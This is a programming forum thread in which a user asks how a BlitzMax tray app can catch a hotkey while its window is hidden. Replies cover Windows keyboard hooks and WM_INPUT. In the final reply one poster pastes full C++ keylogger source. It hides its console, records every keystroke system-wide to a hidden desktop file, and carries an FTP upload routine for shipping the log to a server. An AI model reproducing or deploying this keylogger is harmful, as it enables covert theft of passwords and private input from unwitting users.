Getting keyhit from windows system

Started by Hardcoal, November 28, 2020, 23:42:31

Previous topic - Next topic

Hardcoal

hi.. im making a TrayIcon app.. and I want that when i press a keyboard key.. when the app.. is folded to the TrayIcon, that it will create an event (be Read)


Im using MaxGui..

My Target is.. that when i press a key.. Lets Say.. Key_space.. that it will put my computer into Standby mode..

I can only make it work when the maxgui window is open.. but i want it to happen when its folded to TrayIcon State.. only.. and the window Gadget is hidden..

Thanks..
Code

Derron

So you want to read keyboard input while your app is not focused?

So you want to do stuff similar to an app spying out your secret key when your banking app is focused?

:-)


LowLevelKeyboardProc callback function
leads to
https://docs.microsoft.com/de-de/windows/win32/api/winuser/nf-winuser-setwindowshookexa


So it seems you need to register a callback, hook into the keyboard processing stuff so it redirects events to your special callback.


bye
Ron

Hardcoal

hi.. derron.. can you show me a simple example of how to register a new LowLevelKeyboardProc?
Code

Derron

searching the modules for "setwindowshook" ...

two hits found.

pub.mod/win32.mod/user32.bmx
pub.mod/win32.mod/win32.bmx


and win32.bmx has this:

Code (Blitzmax) Select

Rem
bbdoc: Locks the left/right Windows keys, preventing them from opening the Windows menu.
End Rem
Function EnableWindowsKeyLock( enable:Int, lw:Int = True, rw:Int = True )
lwin = lw
rwin = rw
If enable Then
wkhook = SetWindowsHookEx( 13, KeyboardProc, GetModuleHandleA( Null ), 0 )
Else
UnhookWindowsHookEx( wkhook )
End If
End Function


Function KeyboardProc:Byte Ptr(code:Int, wp:WParam, lp:LParam) "win32"
If code <= 0 Then
CallNextHookEx( wkhook, code, wp, lp )
End If

Local key:Int = Byte Ptr(lp)[0]

If wp = WM_KEYDOWN Or wp = WM_KEYUP Then
If (lwin And key = 91) Or (rwin And key = 92) Then
Return 1
End If
End If

Return CallNextHookEx(wkhook, code, wp, lp)
End Function



I am sure you can adjust it to your needs.


bye
Ron

col

#4
I doubt that setting the windows hook chain will work.
It, and many other similar 'methods' of getting input that way, are tied to the process's calling thread(s) only.

If I understand correctly, Hardcoal wants the keyboard input when the application is not 'entitled' to it?

However, you could work with the WM_INPUT message.

I did exactly this for an application at work. It listens for feedback from a usb device while the main application window is hidden - in fact WM_INPUT was/is being prcocessed by the application while the user types into a document of another application altogther. It's written in c++ so was easier to deal with the 'window procedure (WndProc)' than MaxGui. The MaxGui module already has its tricks up its sleeve and you may find that you have to alter the MaxGUI module itself because it may gobble up events that you really want sent through to your main application.
https://github.com/davecamp

"When you observe the world through social media, you lose your faith in it."

Hardcoal

Code

Dabz

Keylogger type affair, with bonus FTP to a server:-


#pragma comment (lib,"wininet.lib")
#include <windows.h>
#include <wininet.h> //for uploadFile function
#include <shlobj.h>
#include <iostream>
using namespace std;

char * extractFilename(char * path) {
char * ret = path;
bool isFullPath = false;
for (int i = 0; i < strlen(path); i++) {
if (ret[i] == '\\') {
isFullPath = true;
}
}
if (isFullPath) {
ret = (char *)((DWORD)path + lstrlen(path) - 1);
while (*ret != '\\')
ret--;
ret++;
}
return ret;
}

FILE * f;
HHOOK hKeyboardHook;

/*Change file attributes to hidden*/
void hide_file(char * file)
{
if (GetFileAttributes(file) != 0x22)
SetFileAttributes(file, 0x22);
}

/*Since we are working with files placed on desktop we need the Desktop directory path*/
bool getDesktopPath(char * ret)
{
char desktop[260];
if (SUCCEEDED(SHGetFolderPath(NULL,
CSIDL_DESKTOPDIRECTORY | CSIDL_FLAG_CREATE,
NULL,
SHGFP_TYPE_CURRENT,
desktop)))
{
strcpy(ret, desktop);
return true;
}
else
{
ret = NULL;
return false;
}
}

char *dupcat(const char *s1, ...) {
int len;
char *p, *q, *sn;
va_list ap;

len = strlen(s1);
va_start(ap, s1);
while (1) {
sn = va_arg(ap, char *);
if (!sn)
break;
len += strlen(sn);
}
va_end(ap);

p = new char[len + 1];
strcpy(p, s1);
q = p + strlen(p);

va_start(ap, s1);
while (1) {
sn = va_arg(ap, char *);
if (!sn)
break;
strcpy(q, sn);
q += strlen(q);
}
va_end(ap);

return p;
}

  /*Upload file to server*/
BOOL uploadFile(char *filename, char *destination_name, char *address, char *username, char *password)
{
BOOL t = false;
HINTERNET hint, hftp;
hint = InternetOpen("FTP", INTERNET_OPEN_TYPE_PRECONFIG, 0, 0, INTERNET_FLAG_ASYNC);
hftp = InternetConnect(hint, address, INTERNET_DEFAULT_FTP_PORT, username, password, INTERNET_SERVICE_FTP, 0, 0);
t = FtpPutFile(hftp, filename, destination_name, FTP_TRANSFER_TYPE_BINARY, 0);
InternetCloseHandle(hftp);
InternetCloseHandle(hint);
return t;
}

static int keysPressed = 0;

LRESULT WINAPI Keylogger(int nCode, WPARAM wParam, LPARAM lParam)
{
char currentDirectory[260];
char * workFullPath;


if ((nCode == HC_ACTION) && ((wParam == WM_SYSKEYDOWN) || (wParam == WM_KEYDOWN)))
{
bool truth = getDesktopPath(currentDirectory);
if (truth)
{
workFullPath = dupcat(currentDirectory, "\\work.txt", NULL);
f = fopen(workFullPath, "a+"); //Open the file
}
KBDLLHOOKSTRUCT hooked_key = *((KBDLLHOOKSTRUCT*)lParam);
DWORD dwMsg = 1;
dwMsg += hooked_key.scanCode << 16;
dwMsg += hooked_key.flags << 24;
char lpszKeyName[1024] = { 0 };
lpszKeyName[0] = '[';

int i = GetKeyNameText(dwMsg, (lpszKeyName + 1), 0xFF) + 1;
int key = hooked_key.vkCode;
lpszKeyName[i] = ']';

if (key >= 'A' && key <= 'Z')
{
if (GetAsyncKeyState(VK_SHIFT) >= 0)
key += 0x20;
if (f != NULL)
fprintf(f, "%c", key);
}

else
{
if (f != NULL)
fprintf(f, "%s", lpszKeyName);
}
keysPressed++;
if (keysPressed == 150) //Enough data
{
keysPressed = 0;
}

fclose(f);
}
return CallNextHookEx(hKeyboardHook, nCode, wParam, lParam);
}

DWORD WINAPI JACKAL(LPVOID lpParm)
{
HINSTANCE hins;
hins = GetModuleHandle(NULL);
hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)Keylogger, hins, 0);

MSG message;
while (GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}

UnhookWindowsHookEx(hKeyboardHook);
return 0;
}

void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}

void main() {
Stealth();
JACKAL(NULL);
}


Bit naughty, but, does what it says on the tin and an example on how to hook key events from the system, if your using Blitzmax, you may be able to shoehorn this in somewhere, going off memory, I think there are slight issues when trying to implement this in, say, a DLL, cannot remember now if I'm honest.

Dabz
Intel Core i5 6400 2.7GHz, NVIDIA GeForce GTX 1070 (8GB), 16Gig DDR4 RAM, 256GB SSD, 1TB HDD, Windows 10 64bit